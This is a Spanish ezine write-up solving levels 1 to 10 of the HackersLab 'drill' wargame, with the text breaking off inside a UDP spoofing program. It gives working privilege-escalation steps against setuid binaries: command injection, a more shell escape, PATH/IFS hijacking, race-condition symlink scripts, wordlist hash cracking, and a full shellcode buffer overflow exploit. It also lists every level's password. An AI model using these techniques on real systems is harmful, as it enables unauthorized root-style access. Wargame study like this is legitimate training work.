-rwsr-x--- 1 level2 level1 13423 Apr 6 2000 /usr/bin/amos
Como vemos es un fichero que es para level1 y que tiene privilegios level2
mientras se ejecuta.
Y es mas tiene el nombre amos que casualmente es el nombre de un profeta, :))))
Basicamente podeis usar este programa, y sirve para darte informacion un
fichero. Pero el programa tiene un fallo, que sus argumentos no los filtra
bien, y podemos ejecutar otra aplicacion desde ella misma.
Para ello llamamos al programa y despues de la llamada ponemos un ; y la
aplicacion que queremos ejecutar. Con esto lo que haremos es ejecutar lo que
queramos, una shell el programa pass para ver el password del level2 etc....
Vamos a llamar al programa y a una shell que siempre nos dara mas juego.
El fallo de este programa viene seguramente debido a que el programa dentro de
el mismo hace una llamada al comando ls o algo parecido y ¿como lo vamos a
engañar? El programa amos espera una cadena con el path y nombre de un fichero
para darnos la informacion. Nosotros vamos a meterle en esos parametros una
llamada con ;/bin/bash para que dentro del proceso llame a nuestra querida
shell con privilegios level2.
[level1@drill level1]$ /usr/bin/amos
PATH: /etc;/bin/bash
Listo ahora tan solo nos queda mirar nuestra id para celebrarlo, y despues no
olvides arrancar el programa pass para que nos de el password del level2. :))
<Ripe: El programa hace un system() con
"file <PATH>", pero nada nos impide
poner un ; en PATH lo que ejecutara
una nueva instruccion... lo que queramos>
**************************
* ¿Como hacer el level2? *
**************************
PRUEBA 3
telnet drill.hackerslab.org
login:level2
pass: DoItYourself
Texto original:
Kevin, a BBS programmer wants to add an alert on his homepage so that his
members can see his message every time they log in. Unfortunately, his message
is over a page long and his members cannot read the message. As a result, he
has been racking his brain night and day trying to come up with a solution.
Finally, he thought of using `more` command to solve this problem. However,
this method is risky for security reasons.Using this, go on to the next level.
HINT: Nuff said!
Texto traducido:
Kevin, un programador del BBS desea agregar una alarma en su homepage de modo
que sus miembros puedan considerar que su mensaje que se abren una sesión cada
vez. Desafortunadamente, su mensaje esta concluado una paginacian de largo y
sus miembros no pueden leer el mensaje. Consecuentemente, al ha estado
atormentando su noche y día del cerebro que intentaban venir para arriba con
una solucion. Finalmente, el penso en usar comando del `more` de solucionar
este problema. Sin embargo, este metodo es aventurado para la seguridad.
Usalo para continar al siguiente level.
No os atormenteis buscando web y un programa que ejecute desde alli, eso son
tan solo cuentos chinos, bueno en este caso koreanos para darnos pistas sobre
el tema.
En este caso nos habla de un programa que alguien hizo, mientras el programa se
ejecuta hace una llamada al comando more para sacarnos un texto por pantalla.
El problema es que el comando more mientras esta en pausa, tiene opciones para
ejecutar programas desde el mismo. Recomiendo man more y asi veis las opciones
de dicho comando.
Bueno vamos a extraer de la lista de marras el programa que necesitamos petar.
-rws--x--- 1 level3 level2 12873 Aug 10 1999 /usr/bin/alert
Ahi lo tenemos, pues vamos a ejecutarlo y esperamos que la pantalla more se
pare enseñandonos el fichero en cuestion.
Cuando estemos parados tecleamos lo siguiente:
!/bin/bash
Con lo que desde el more ejecutamos una nueva shell con privilegios de level3.
Ahora desde esa shell tan solo nos queda ejecutar pass y bualaaaa, nuevo
password. :P
Curiosamente mirando me encontre tb un fichero en el directorio /tmp que
alguien habia dejado ahi seguramente para echarle la mano a otro o vete tu a
saber,jejejje.
El fichero era:
/tmp/sh
-rwsr-xr-x 1 level3 level3 310640 Dec 29 07:46 /tmp/sh
una programa con suid que nos hace saltar al nivel 3 directamente, jejejeje
Asi que os recomiendo que cuando entreis en un nivel determinado y no sepais
por donde van los tiros, pues que mireis en el directorio /tmp que es donde
todos hacen sus pruebas. Quien sabe al igual encuentras algo curioso o alguna
pista de gran ayuda.
<Ripe: Eso es trampa :)>
**************************
* ¿Como hacer el level3? *
**************************
PRUEBA 4
telnet drill.hackerslab.org
login:level3
pass: hackerproof
Texto Original
Steven is known for his tardiness, he is never on time! He is aware of this
problem and knows that he has to do something about it. So, he programmed a
simple C utility by using the `date` command that displays the current date in
YYYY-MM-DD format every time he logs on to his computer. He put it in a secret
directory because he was worried about others seeing this. Find it out and get
the password for the next level.
Texto Traducido
Conocen a Steven para su tardanza, el nunca es el tiempo! El esta enterado de
este problema y sabe que el tiene que hacer algo sobre el. Asi pues, el
programo un utilitario simple de C usando el comando del `date` que visualiza
la fecha actual en formato de YYYY-MM-DD que el entra cada vez a su ordenador.
El lo puso en un directorio secreto porque el fue preocupado de otros que veia
esto. Descubralo y consiga la palabra de paso para el nivel siguiente.
Primero vamos a recordar la lista de ficheros que teniamos en principio y el
cual sacamos usando el comando:
[level0@drill level0]$ ls -l `find / -perm +4000 2>/dev/null`
-rwsr-x--- 1 root wheel 13208 Apr 14 1999 /bin/su
-rwsr-x--- 1 level1 level0 12900 Dec 5 19:08 /dev/.hi
-rws--x--- 1 level10 level9 921107 Aug 12 1999 /etc/bof
-rwsr-xr-x 1 nobody nobody 310640 Nov 1 03:04 /home/nobody/.Xsegments
-rwsr-xr-x 1 nobody level1 310640 Dec 29 06:50 /home/nobody/.ssh2/.nobody
-rwsr-x--- 1 level6 level5 13742 Aug 10 1999 /lib/security/pam_auth.so
-rwsr-xr-x 1 level3 level3 310640 Dec 29 07:46 /tmp/sh
-rws--x--- 1 level3 level2 12873 Aug 10 1999 /usr/bin/alert
-rwsr-x--- 1 level2 level1 13423 Apr 6 2000 /usr/bin/amos
-rwsr-x--- 1 root users 10704 Apr 15 1999 /usr/bin/passwd
-rws--x--- 1 level9 level8 933937 Aug 12 1999 /usr/bin/ps2
-rwsr-x--- 1 level5 level4 30350 Aug 10 1999 /usr/games/trojka
-rwsr-xr-x 1 root root 34751 Sep 6 01:02 /usr/libexec/pt_chown
-rws--x--- 1 level12 level11 924592 Aug 12 1999 /usr/local/bin/hof
-rws--x--- 1 level4 level3 13245 Aug 10 1999 /usr/man/pt_BR/man8/today
-rwsr-sr-x 1 root mail 365980 Nov 29 15:25 /usr/sbin/sendmail
Veamos el que nos interesa:
-rws--x--- 1 level4 level3 13245 Aug 10 1999 /usr/man/pt_BR/man8/today
Este fichero es el que tenemos que explotar.
Para ello vamos a intentar engañar al programa en si, se supone que el programa
today hace una llamada al programa date para que le enseñe la hora.
Primero mire el path de nuestro level
[level3@drill level3]$ echo $PATH
/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin
Cree un directorio llamado /tmp/.yo/
[level3@drill level3]$ mkdir /tmp/.yo/
Cambie el path del sistema incluyendo primero en la lista mi directorio para
que a la hora de buscar un programa lo buscara en mi directorio.
[level3@drill level3]$ PATH=/tmp/.yo/:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin
Me asegure de que el PATH habia quedado como yo queria
[level3@drill level3]$ echo $PATH
/tmp/.yo/:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin
Cree un link de la shell en mi directorio con un fichero que se llamaba igual a
la aplicacion que el tipo llamaba desde su programa, osea la llamada a date.
[level3@drill level3]$ ln -s /bin/bash /tmp/.yo/date
Ahora ejecutamos today pero ellos han puesto un path absoluto, asi que lo
hicieron bien y nos jodemos, jejeje
¿Que intente hacer?
El programa today intenta ejecutar date al modo exec("date") como si dijeramos,
aunque en vez de eso, lo han hecho bien: exec("/bin/date") si solo hubieran
puesto "date" en su llamada, el sistema buscaria dicho programa en la lista del
PATH y como nuestro directorio estaba primero en el PATH, hubiera ejecutado
primero nuestra copia barata de date que en realidad era una shell del level4.
Como esto que hice no funciono segui haciendo pruebas.
Despues de hacerle mil pruebas y recibir un poco de ayuda de Ripe:
<Ripe> IFS hace de separador de parametros en la linea de comandos
<Ripe> entre otras cosas :)
<Ripe> si IFS=" "
<Ripe> quiere decir que si ejecuto
<Ripe> mano -t
<Ripe> mano y -t seran parametros independientes
<Ripe> si haces IFS="/"
<Ripe> y ejecutas
<Ripe> /bin/date
<Ripe> bin y date son elementos independientes
<Ripe> 6.-IFS: Separador de campo interno, sirve para que el shell interprete
las lineas como elemetos. separados... es algo chungo de explicar, pero
muy util a la hora de programar ciertos scripts.
Pues esta claro que hay veces que tienes que preguntar, nadie nacio sabiendo,
jejeje. Pues visto eso me dio otra idea parecida a la que probamos antes y que
no tuvo resultado.
Creo links de la shell al temporal usando los nombres bin y date, ¿por que?
como antes vimos la llamada a date desde today la hace de forma absoluta.
/bin/date
[level3@drill level3]$ ln -s /bin/pass /tmp/bin
[level3@drill level3]$ ln -s /bin/sh /tmp/date
Cambiamos el separador interno por / de esta forma cuando haga la llamada a
/bin/date el sistema pensara que esta haciendo la llamada a bin y despues a
date.
[level3@drill level3]$ export IFS=/
Cambio el path metiendo como unico path /tmp
[level3@drill level3]$ PATH=/tmp
Y por ultimo ejecutamos today
[level3@drill level3]$ /usr/man/pt_BR/man8/today
Miramos nuestro level y....
[level3@drill level3]$ whoami
level4
boala, ya nos ejecuto bin que realmente era una shell de level4.
**************************
* ¿Como hacer el level4? *
**************************
PRUEBA 5
telnet drill.hackerslab.org
login:level4
pass: AreUReady?
Texto Original:
Kevin likes playing games in Linux. One day, he was bored and had nothing to
do so he decided to play with a source file of the game. He opened the source
file and added some codes and then compiled it. Get the password for the next
level by using this program. HINT: Apparently, he added only one line into the
source.
Texto Traducido
Kevin tiene gusto de jugar juegos en Linux. Un dia, lo aburrieron y no tenia
nada hacer asi que el decidia jugar con un fichero de fuente del juego. El
abrio el fichero de fuente y agrego algunos codigos y despues los compilo.
Consiga la palabra de paso para el nivel siguiente usando este programa.
INDIRECTA: Al parecer, el agrego solamente una linea en la fuente.
Como todavia andamos con ficheros con suid, miremos el que nos toca esta vez.
-rwsr-x--- 1 level5 level4 30350 Aug 10 1999 /usr/games/trojka
Este programa cayo facil, el programa en si era un juego que rulaba. El tema es
que el juego antes de empezar hacia una limpieza de pantalla usando el comando
del sistema clear. ¿Como localize esto? pues facil, haciendo pruebas quite el
path apuntando tan solo al /tmp de forma que cuando quiso ejecutar el clear
dio un fallo visible en la pantalla. Si no probar a poner:
[level4@drill level4]$ PATH=/tmp
y ejecutar el programa
[level4@drill level4]$ /usr/games/trojka
Vereis si os da o no el fallo, :))
Asi que cree un link del programa pass, lo prefiero porque asi no tengo que
ejecutarlo, sino que el programa me lo ejecutara directamente sin usar la
shell. Creamos un link del programa pass con nombre clear al directorio tmp.
[level4@drill level4]$ ln -s /bin/pass /tmp/clear
Cambiamos el path como antes
[level4@drill level4]$ PATH=/tmp
Y ejecutamos el programa de marras
[level4@drill level4]$ /usr/games/trojka
Pues se acabo, nos sale en pantalla el pass del level siguiente.
**************************
* ¿Como hacer el level5? *
**************************
PRUEBA 6
telnet drill.hackerslab.org
login:level5
pass: Silent night,holy night!
Texto Original:
A hacker named John made the backdoor for the first problem. He got really
angry when he realized that other HackersLab members were taking his backdoor
for granted. He had worked on it very hard for one day and now he thinks that
he can feel rest assured thinking that no one else can use the backdoor. Drive
him mad again!
Texto Traducido:
Un hacker llamado Juan hizo el backdoor para el primer problema. El estaba
realmente enojado cuando se entero que otros miembros de HackersLab tomaban su
backdoor para usarlo. El habia trabajado mucho para que ahora el resto lo
usara, asi que le puso un password a esta backdoor para que tan solo el pueda
utilizarlo. Pongamoslo enojado otra vez!
Bueno, ha quedao claro no, el tonto de los palotes del level1 se mosqueo por
que usamos su backdoor y ha creado otra aplicacion igual pero que pide el
password. Pues vaya no la hubiera dejado tan facil y tan cantoso, jejejeje.
Asi que vamos a ver otra vez el fichero que nos toca pa volver a cabrear a
Don Juan, :))
-rwsr-x--- 1 level6 level5 13742 Aug 10 1999 /lib/security/pam_auth.so
Asi que despues de mirar bien a fondo el programa, vimos que el pass que pedia
la aplicacion dependia del propio programa, ademas el programa tenia tanto
permiso de lectura como de ejecucion. Asi que ni cortos ni perezosos le hicimos
un less ./pam_aunt.so
Asi que usamos el comando less a lo bruto, jejejeje para inspeccionar el
programa.
[level4@drill level4]$ less /lib/security/pam_auth.so
A lo cual entre mucha mierda nos salio:
it the hell are you thinking?^@abcd1234^@1qaz2wsx^@0plmfk3s^@qkqh^@fj3,n34k$^^@fg
jk3!mfr*^@Best of The Best Hackerslab
@tkfkdgo!^@loveyou!^@D873nmf9^@apple123~^@
flr1234^@passwd:^@sh^@/bin/sh^@passwd incorrect
<Ripe: Quiza sea mas comodo hacer
"strings /lib/security/pam_auth.so">
entre otras cosas claro, asi que empece a probar los nombrecillos que salian
antes de la palabra passwd.
Y tachannnnnnnn el passw era:
Best of The Best Hackerslab
**************************
* ¿Como hacer el level6? *
**************************
PRUEBA 7
telnet drill.hackerslab.org
login:level6
pass: Best of The Best Hackerslab
Texto Original:
On behalf of all those who have worked hard to reach this level, we have opened
a port for you so that you could get the password easily. But¡Koops¡KI don't
remember the port number. Sorry¡K
Texto Traducido:
A nombre de todo el los que han trabajado dificilmente para alcanzar este
nivel, hemos abierto un acceso para usted de modo que usted pudiera conseguir
la palabra de paso facilmente. Pero parece que no se acuerdan o no nos quieren
dar el puerto que debemos usar.
Esta parece chunga, jejejejejejeje
Despues de leer el texto lentamente vemos que nos dice que hemos abierto un
acceso para usted, tan solo se nos ocurre scanear la maquina para ver los
puertos abiertos para conexiones. Despues de scanear nos encontramos con un
puerto curioso, jejeje 6969
Asi que probamos telnet drill.hacerslab.org 6969 y premio
login:level6
level6's passwd: Best of The Best Hackerslab
Congratulation!! level7's passwd is 'Cant help falling in love'
**************************
* ¿Como hacer el level7? *
**************************
PRUEBA 8
telnet drill.hackerslab.org
login:level7
pass: Cant help falling in love
Texto Original:
There is an executable file somewhere that holds the password for the next
level. Unfortunately, it isn't easy to find. You have to figure it out by
yourself this time.
Texto Traducido:
Hay un fichero ejecutable en alguna parte que lleva a cabo la palabra de paso
para el nivel siguiente. Desafortunadamente, no es facil encontrar. Usted tiene
que calcularlo hacia fuera por se este vez.
Vamos a buscar ficheros con suid y perdidos.
ls -l `find / -perm +4000 2>/dev/null`
-rwsr-x--- 1 root wheel 13208 Apr 14 1999 /bin/su
-rwsr-x--- 1 level1 level0 12900 Dec 5 19:08 /dev/.hi
-rws--x--- 1 level10 level9 921107 Aug 12 1999 /etc/bof
-rwsr-x--- 1 level6 level5 13742 Aug 10 1999 /lib/security/pam_auth.so
-rws--x--- 1 level3 level2 12873 Aug 10 1999 /usr/bin/alert
-rwsr-x--- 1 level2 level1 13423 Apr 6 2000 /usr/bin/amos
-rwsr-x--- 1 root users 10704 Apr 15 1999 /usr/bin/passwd
-rws--x--- 1 level9 level8 933937 Aug 12 1999 /usr/bin/ps2
-rwsr-x--- 1 level5 level4 30350 Aug 10 1999 /usr/games/trojka
-rwsr-xr-x 1 root root 34751 Sep 6 01:02 /usr/libexec/pt_chown
-rws--x--- 1 level12 level11 924592 Aug 12 1999 /usr/local/bin/hof
-rws--x--- 1 level4 level3 13245 Aug 10 1999 /usr/man/pt_BR/man8/today
-rwsr-sr-x 1 root mail 365980 Nov 29 15:25 /usr/sbin/sendmail
a primera vista no aparece ninguna suid del level7 al level8
Asi que veamos los de nuestro propio level que sean interesantes
ls -l `find / -user level7 2>/dev/null` -d|more
quitando los /proc/* y los /prog quedan
crw--w---- 1 level7 tty 136, 18 Dec 31 12:47 /dev/pts/18
crw--w---- 1 level7 tty 136, 25 Dec 31 12:40 /dev/pts/25
crw--w---- 1 level7 tty 136, 27 Dec 31 12:45 /dev/pts/27
crw--w---- 1 level7 tty 136, 3 Dec 31 11:07 /dev/pts/3
crw--w---- 1 level7 tty 136, 36 Dec 31 12:47 /dev/pts/36
-rw-r--r-- 1 level7 level7 2617 Dec 31 12:25 /home/level7/public_html/main.html
-rw-rw-r-- 1 level7 level7 12 Dec 31 10:46 /home/level7/tmp/aaa
-rw-rw-r-- 1 level7 level7 30 Dec 31 06:17 /home/level7/tmp/fil
-rwxrwxr-x 1 level7 level7 1815 Dec 31 06:18 /home/level7/tmp/getpass.3
-rw-rw-r-- 1 level7 level7 219 Dec 31 05:58 /home/level7/tmp/k
-rw-rw-r-- 1 level7 level7 12 Dec 31 06:00 /home/level7/tmp/ki
-rw-rw-r-- 1 level7 level7 12 Dec 31 11:28 /home/level7/tmp/lee
-rw------- 1 level7 level7 12288 Dec 31 11:17 /home/level7/tmp/passwd.swp
-rw-rw-r-- 1 level7 level7 564 Dec 31 05:42 /home/level7/tmp/rei
-rw-rw-r-- 1 level7 level7 175378 Dec 31 06:10 /home/level7/tmp/reoi
-rw-rw-r-- 1 level7 level7 391 Dec 31 12:46 /tmp/crack.c
-r--rw-r-- 1 level7 man 1525 Dec 28 01:29 /var/catman/cat1/chage.1.gz
-r--rw-r-- 1 level7 man 6024 Dec 25 11:41 /var/catman/cat1/cpp.1.gz
-r--rw-r-- 1 level7 man 830 Dec 28 01:30 /var/catman/cat1/cryptdir.1.gz
-r--rw-r-- 1 level7 man 6397 Dec 23 22:36 /var/catman/cat1/gzip.1.gz
-r--rw-r-- 1 level7 man 4515 Dec 21 21:27 /var/catman/cat1/login.1.gz
-r--rw-r-- 1 level7 man 3094 Dec 21 20:44 /var/catman/cat1/tar.1.gz
-r--rw-r-- 1 level7 man 3892 Dec 21 21:32 /var/catman/cat1/tr.1.gz
-r--rw-r-- 1 level7 man 3150 Dec 23 22:35 /var/catman/cat1/uncompress.1.gz
-r--rw-r-- 1 level7 man 712 Dec 26 00:35 /var/catman/cat2/_exit.2.gz
-rwxrwxrwx 1 level7 level7 885 Dec 22 23:12 /var/catman/cat3/getpass.3.gz
-r--rw-r-- 1 level7 man 910 Dec 22 16:37 /var/catman/cat3/getpwent.3.gz
-r--rw-r-- 1 level7 man 1517 Dec 26 00:35 /var/catman/cat3/gets.3.gz
-r--rw-r-- 1 level7 man 1161 Dec 22 23:20 /var/catman/cat3/md5.3.gz
-r--rw-r-- 1 level7 man 4287 Dec 22 18:45 /var/catman/cat3/scanf.3.gz
-r--rw-r-- 1 level7 man 1572 Dec 30 07:23 /var/catman/cat3/shadow.3.gz
-r--rw-r-- 1 level7 man 645 Dec 26 00:42 /var/catman/cat3/strcmp.3.gz
-r--rw-r-- 1 level7 man 904 Dec 22 16:26 /var/catman/cat3/strcpy.3.gz
-r--rw-r-- 1 level7 man 1784 Dec 22 23:15 /var/catman/cat5/passwd.5.gz
-r--rw-r-- 1 level7 man 4720 Dec 22 18:30 /var/catman/catn/library.n.gz
-r--rw-r-- 1 level7 man 2685 Dec 21 21:29 /var/catman/catn/trace.n.gz
-rwxrwxrwx 1 level7 mail 0 Dec 9 16:31 /var/spool/mail/level7
No hay forma de encontrarlo, al menos buscando por todos lados perdi bastante
tiempo. Por ultimo mirando a mano por los directorios generales encontre un
fichero guapo.
/dev/audio2
-rwx--x--- 1 level8 level7 12878 Aug 10 1999 audio2
Al ejecutarlo ponia en pantalla:
VoE4HoQCFfMW2
shadowÆÄÀÏÀÇ level8 Æнº¿öµå ºÎºÐÀÌ´Ù.
A ver por donde nos sale este, jejejeje.
Despues de ver esto me vino una idea a la cabeza,tal vez VoE4HoQCFfMW2 podia
ser el pass encriptado del level8 asi que cree un fichero passwd con user
level8 y esa pass encriptada y lo someti al john ripper, que si no lo conoceis
es un programa que por fuerza bruta y probando busca un password que coincida
con ese pass encriptado.
Mientras esperaba que john ripper probara mi idea sobre lo del pass, estaba
charlando en el irc con Ripe, el cual me ayudo durante mi andadura por
hackerslab facilitandome docs de la ezine para ponerme asi al dia en diferentes
temas y me comento una cosa:
A veces los passwords son sacados por la gente de los diccionarios, y mirando
en hackerslab encontre un fichero de palabras en un directorio, esto no lo os
lo voy a decir asi que buscais el fichero vosotros, jejeje.
Bueno, os dare una pista, el fichero canta porque tiene nombre de palabras en
ingles y esta en un directorio parecido a diccionario pero en ingles. Pero no
me pidais que os diga el fichero por que no lo hare, ale. :P
Asi que use el john ripper pero esta vez diciendole que usara un diccionario de
palabras y eureka, el pass era wonderful.
**************************
* ¿Como hacer el level8? *
**************************
PRUEBA 9
telnet drill.hackerslab.org
login:level8
pass: wonderful
Texto Original:
This problem requires a good understanding of hacking techniques.
Use the technique to the /usr/bin/ps2 , which was implemented by the
famous 8lgm hackers club, in order to get the password to the next level.
HINT: A temporary file will be created in var/tmp2.
Texto Traducido:
Este problema requiere una buena comprensión de técnicas que cortan. Utilice la
tecnica al /usr/bin/ps2, que fue puesto en ejecucion por los 8lgm famosos que
los hackers aporrean, para conseguir la palabra de paso al nivel siguiente.
INDIRECTA: Un fichero temporal sera creado en var/tmp2.
* Ojo todas las traducciones estan hechas con el traductor de altavista asi que
no os riais, jajaja
<Ripe: Yo no me habia dado cuenta>
Este metodo del cual nos hablan es el conocido race atack que unos conocidos
hackers del grupo 8lgm pusieron en el servidor y que por race conditions de
cada X pruebas sacan el contenido del pass de level siguiente. Esta claro que
hay que buscar un fichero temporal que se crea. Lo primero sera saber que
fichero es. Para ello usaremos un script tal que a la vez que ejecuta el
programa en cuestion nos hace una lista de programas en el directorio temporal,
de esta forma con suerte una de las veces veremos que fichero temporal crea
este programa.
Si no sabeis hacer un script vamos mal, pero bueno, tan solo es abrir el editor
vi teclear estas lineas y grabarlo con el nombre teveo por ejemplo.
------ cortar aqui ----------
while true
do
/usr/bin/ps2 &
ls -la
done
------ cortar aqui ----------
Despues de crearlo le daremos el atributo de ejecutable con el comando
chmod +x teveo y listo.
Lo ejecutamos y veremos algo de sus resultados
total 252
drwxrwxrwx 2 root root 254976 Jan 12 07:37 .
drwxr-xr-x 18 root root 1024 Sep 18 1999 ..
-rw-rw-r-- 1 level9 level8 0 Jan 12 07:37 ps2.tmp
-rwxrwxr-x 1 level8 level8 42 Jan 12 07:36 teveo
Ahi vemos el fichero de marras, ps2.tmp
Ahora intentaremos hacerle un link al fichero en tiempo real
Script para ver si podemos hacer un link al fichero
------ cortar aqui -----------
while true
do
/usr/bin/ps2 &
rm -rf /var/tmp2/ps2.tmp &
ln -sf /var/tmp2/tepille /var/tmp2/ps2.tmp
done
------- cortar aqui ----------
<Ripe: Que matado soy haciendolo en C :(>
Una vez hecho lo ejecutamos ./script > resultado para que el resultado de
nuestro ataque quede guardado en nuestro fichero resultado. Despues de un buen
rato lo paramos con crtl+c y lo editamos para verlo.
Y bualaaaaaaaaaaa entre casi todas las lineas del fichero que suelen poner file
exist encontramos lo siguiente.
file exist
Congratulations !!! your race attack success ~
level9 Password is !secu!
file exist
**************************
* ¿Como hacer el level9? *
**************************
PRUEBA 10
telnet drill.hackerslab.org
login:level9
pass: !secu!
Texto Original:
What happens when you forget to perform `bound checking`?HINT: /etc/bof
Texto Traducido:
Que sucede cuando usted se olvida de realizar el `bound checking`?
HINT: /etc/bof
Pues veamos:
encontramos un programa con suid que ademas posiblemente se le puede hacer un
buffer overflood. Si no sabeis que es un buffer overflow os recomiendo que
hagais como yo, leer cuantos documentos encontreis al respecto sobre este tema.
No obstante en esta misma ezine podreis encontrar documentos relacionados con
buenos ejemplos sobre el tema. Yo tan solo os dire que el buffer overflow se
produce porque en una variable determinada la cual no esta controlada se meten
mas datos de la cuenta, con lo cual todo lo sobrante sobrescribe parte de la
pila y asi se produce tal fallo en el sistema. El tema es hacer un programa que
aproveche ese fallo para meter en esa parte que sobrescribe la pila una llamada
a una mini shell que hemos creado en un array en memoria, de forma que cuando
el programa pete podamos hacer que nuestra shell arranque.
<Ripe: 7a69#9 Desbordando el buffer por Doing y Ripe>
He aqui el fichero en cuestion.
-rws--x--- 1 level10 level9 921107 Aug 12 1999 /etc/bof
Despues de probar varios exploit y hacer pruebas en el sistema usaremos
este exploit tan bonito.
overflow.c
------------------------- CORTAR AQUI -------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
---------------------------------------------------------------------------
compilamos con gcc -o overflow overflow.c
y ejecutamos de la siguiente forma
[level9@drill tmp]$ ./overflow
Using address: 0xbffffd78
[level9@drill tmp]$ /etc/bof $RET
hello~ xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿x
ýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿x
ýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿x
ýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿x
ýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿x
ýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿x
ýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ¿xýÿ
bash$ whoami
level10
Pues listo, ya estamos en nuestra shell overflodeada y podemos arrancar el
programilla pass para ver el password siguiente. :))))
El tema del overflow es complicado asi que hacerme caso y leer todo lo que
podais. Los docs incluidos en esta ezine os puedo asegurar que son muy buenos y
estan lleno de ejemplos que nos haran comprender a fondo este tan interesante
bug.
***************************
* ¿Como hacer el level10? *
***************************
PRUEBA 11
telnet drill.hackerslab.org
login:level10
pass: Beauty and Beast
Texto Original:
A daemon in the Free Hacking Zone uses the UDP5555 port. This daemon is waiting
for the packets to arrive from the www.hackerslab.org host. The packets include
the email address of the recipient as well as the password for level 10. The
daemon will notify the password for the next level via email as soon as it
receives the packets from www.hackerslab.org. The format is as follows: `The
password of level 10` / `email address`.
Example: If the password for level 10 is `abcd` and the email address is
`abc@aaa.ccc.ddd.rr`, then the message in the packet is:
abcd/abc@aaa.ccc.ddd.rr
* Remember to send the packet from www.hackerslab.org.
Texto Traducido:
Un demonio en la zona que corta libre utiliza el acceso UDP5555. Este demonio
esta esperando los paquetes para llegar del ordenador principal de
www.hackerslab.org. Los paquetes incluyen el email address del recipiente asi
como la palabra de paso para el nivel 10. El demonio notificara la palabra de
paso para el nivel siguiente via el email tan pronto como reciba los paquetes
de formato de www.hackerslab.org.
Ejemplo:
Si la palabra de paso para el nivel 10 es `abcd` y el email address es
`abc@aaa.ccc.ddd.rr`, entonces el mensaje en el paquete es
abcd/abc@aaa.ccc.ddd.rr
* Remember para enviar el paquete de www.hackerslab.org.
Pues ala, manos a la obra.
Bueno, necesitamos un programa que nos mande un paquete UDP spoofing, en el
cual segun el formato que nos piden, tenemos que mandar a drill.hackerslab.org
un paquete por el puerto 5555 en el cual tenemos que poner el password del
level en el que estamos y despues la direccion mail donde queremos que nos
manden la pass al siguiente level. Como veis lo dificil es spoofear, osea que
el paquete le tiene que llegar como si www.hackerslab.org fuese el que lo
hubiese enviado.
Asi que despues de buscar informacion al respecto, leer ezines y docs en
internet escogi un ejemplo que me sirviera de base al programa que debia hacer
y esto fue lo que resulto:
-------------------------- CORTAR POR AQUI --------------------------------
/************************************************************************/
/* spoofudp.c es un programa hecho para mandar un paquete UDP spoofing */
/* compilar de la siguiente forma: */
/* /usr/ucb/cc -o spoofudp spoofudp.c */
/* Este programa solo se podra usar teniendo privilegios root */
/* Modificacion de un programa para pasar el level10 de hackerslab.org */
/* Programa base usado antes de su modificacion en: */
/* http://rootshell.com/archive-j457nxiqi3gq59dv/199708/arnudp.c.html */
/* (c) 2001 by Jafar */
/************************************************************************/
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in_systm.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<errno.h>
#include<string.h>
#include<netdb.h>
#include<arpa/inet.h>
#include<stdio.h>
struct sockaddr sa;
main(int argc,char **argv)
{
int fd;
int x=1;
struct sockaddr_in *p;
